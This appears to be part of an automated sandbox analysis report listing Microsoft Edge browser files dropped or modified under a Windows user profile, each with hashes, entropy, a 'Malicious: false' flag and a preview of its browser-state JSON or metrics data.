SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWsji1zNterGhdL9dIouF+bUbQKJDSgzMMd6qD47u3S:+/Ps+wsI7ynw7IQKtSmd6qE7lFoC
MD5:	F9C80F632588B9E28A4C36FAE32F929F
SHA1:	187E4081CC8FF172E5A398BF9112A77D967753E5
SHA-256:	AC781E6C764135010F8714624D8AA0EB5D78393BC7C2D32F6A92BD5BD60B16E6
SHA-512:	E5D6CB8923974D38F95D0DBAF6AF39FA0C0D35F3C994C49C5AD2FCB0A1791CCA14AB6621A2E3FDA7FF11DA03587496B0272B372983B1736973E99055B7C945B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\84e5d6ad-a26c-4d27-89c0-0d3a6bb015ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089738734534761
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkHkzItSmd6qE7lFoC
MD5:	2BA497069DDABE071118CD418888A683
SHA1:	C040E96A3001033F35F93A94B8ED509D6A02F9B6
SHA-256:	362956BEA4277B2289D13016205948CF2726EFF95AFDB1FD9BCFC8F229B33CCA
SHA-512:	0AC268A832BAF729E618DB074B636EFCEEC99788D8A376219E243F786849705E7A5FBBC00C723F62C986C3E900CAC8D90E92A4FDD31DBFCD7157BCE370D031CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8c40770a-64e9-4164-8554-1feeba293966.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.096041056680115
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW6ji1zNterGhdLNfyPLpDhl6zKJDSgzMMd6qD47u3S:+/Ps+wsI7yn07PKtSmd6qE7lFoC
MD5:	4E0619097838706F74656C9090113CD2
SHA1:	13F23380B458CB0F8891DA9591942CCB35130D96
SHA-256:	92FDC9896C4C049B4BB2971E4A28F412A68F5C6E134CD703A5610CE26FC59453
SHA-512:	EF3A7411305774B920ABA9F3B76FE39A05E159FEC3EA7FC937705AAAFEADAADCB212AD3DDCF5585447299F14D26C1256B70CA86CD8F085CECFB3B7D2B840A2A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6755AF61-1868.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04672186376092202
Encrypted:	false
SSDEEP:	192:ABOj0m5tmanOAtKYFJgA8x5XSggykfhtgB0NERIF/ERQcQe4BZ70gAn8y08Tcm2D:K00Utdbgk9h20fYH4D7a08T2RGOD
MD5:	886319802BBF50B1056C82523C4DA864
SHA1:	F31A76D894215E9407981C8806942C824BDBB622
SHA-256:	EF564248B518E538AEE1114AC7CDC7DEC0816DB06DF6ADAAF3664FD745AD21A2
SHA-512:	A2B909A2C1FF08550BE9D2C641507CEB4BBD78DB9EA0F63E015E26DB4ED2C5202BF3FBBD9159779567BE87AA67BE66FB421723776BE19013A6E4F4979583ED51
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vaxjng20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089738734534761
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkHkzItSmd6qE7lFoC
MD5:	2BA497069DDABE071118CD418888A683
SHA1:	C040E96A3001033F35F93A94B8ED509D6A02F9B6
SHA-256:	362956BEA4277B2289D13016205948CF2726EFF95AFDB1FD9BCFC8F229B33CCA
SHA-512:	0AC268A832BAF729E618DB074B636EFCEEC99788D8A376219E243F786849705E7A5FBBC00C723F62C986C3E900CAC8D90E92A4FDD31DBFCD7157BCE370D031CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39461.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089738734534761
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkHkzItSmd6qE7lFoC
MD5:	2BA497069DDABE071118CD418888A683
SHA1:	C040E96A3001033F35F93A94B8ED509D6A02F9B6
SHA-256:	362956BEA4277B2289D13016205948CF2726EFF95AFDB1FD9BCFC8F229B33CCA
SHA-512:	0AC268A832BAF729E618DB074B636EFCEEC99788D8A376219E243F786849705E7A5FBBC00C723F62C986C3E900CAC8D90E92A4FDD31DBFCD7157BCE370D031CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39471.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089738734534761
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkHkzItSmd6qE7lFoC
MD5:	2BA497069DDABE071118CD418888A683
SHA1:	C040E96A3001033F35F93A94B8ED509D6A02F9B6
SHA-256:	362956BEA4277B2289D13016205948CF2726EFF95AFDB1FD9BCFC8F229B33CCA
SHA-512:	0AC268A832BAF729E618DB074B636EFCEEC99788D8A376219E243F786849705E7A5FBBC00C723F62C986C3E900CAC8D90E92A4FDD31DBFCD7157BCE370D031CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089738734534761
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkHkzItSmd6qE7lFoC
MD5:	2BA497069DDABE071118CD418888A683
SHA1:	C040E96A3001033F35F93A94B8ED509D6A02F9B6
SHA-256:	362956BEA4277B2289D13016205948CF2726EFF95AFDB1FD9BCFC8F229B33CCA
SHA-512:	0AC268A832BAF729E618DB074B636EFCEEC99788D8A376219E243F786849705E7A5FBBC00C723F62C986C3E900CAC8D90E92A4FDD31DBFCD7157BCE370D031CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089738734534761
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkHkzItSmd6qE7lFoC
MD5:	2BA497069DDABE071118CD418888A683
SHA1:	C040E96A3001033F35F93A94B8ED509D6A02F9B6
SHA-256:	362956BEA4277B2289D13016205948CF2726EFF95AFDB1FD9BCFC8F229B33CCA
SHA-512:	0AC268A832BAF729E618DB074B636EFCEEC99788D8A376219E243F786849705E7A5FBBC00C723F62C986C3E900CAC8D90E92A4FDD31DBFCD7157BCE370D031CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d7778a8b-feda-4ff9-b734-8772d3733d18.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.096041056680115
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW6ji1zNterGhdLNfyPLpDhl6zKJDSgzMMd6qD47u3S:+/Ps+wsI7yn07PKtSmd6qE7lFoC
MD5:	4E0619097838706F74656C9090113CD2
SHA1:	13F23380B458CB0F8891DA9591942CCB35130D96
SHA-256:	92FDC9896C4C049B4BB2971E4A28F412A68F5C6E134CD703A5610CE26FC59453
SHA-512:	EF3A7411305774B920ABA9F3B76FE39A05E159FEC3EA7FC937705AAAFEADAADCB212AD3DDCF5585447299F14D26C1256B70CA86CD8F085CECFB3B7D2B840A2A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e7f62c93-93d5-49e3-b42a-bac035e4d556.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44925
Entropy (8bit):	6.095624282924164
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWsji1zNterGhdL9dIouF+bUbQKJDSgzMMd6qD47u3S:+/Ps+wsI7ynw7IQKtSmd6qE7lFoC
MD5:	F9C80F632588B9E28A4C36FAE32F929F
SHA1:	187E4081CC8FF172E5A398BF9112A77D967753E5
SHA-256:	AC781E6C764135010F8714624D8AA0EB5D78393BC7C2D32F6A92BD5BD60B16E6
SHA-512:	E5D6CB8923974D38F95D0DBAF6AF39FA0C0D35F3C994C49C5AD2FCB0A1791CCA14AB6621A2E3FDA7FF11DA03587496B0272B372983B1736973E99055B7C945B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

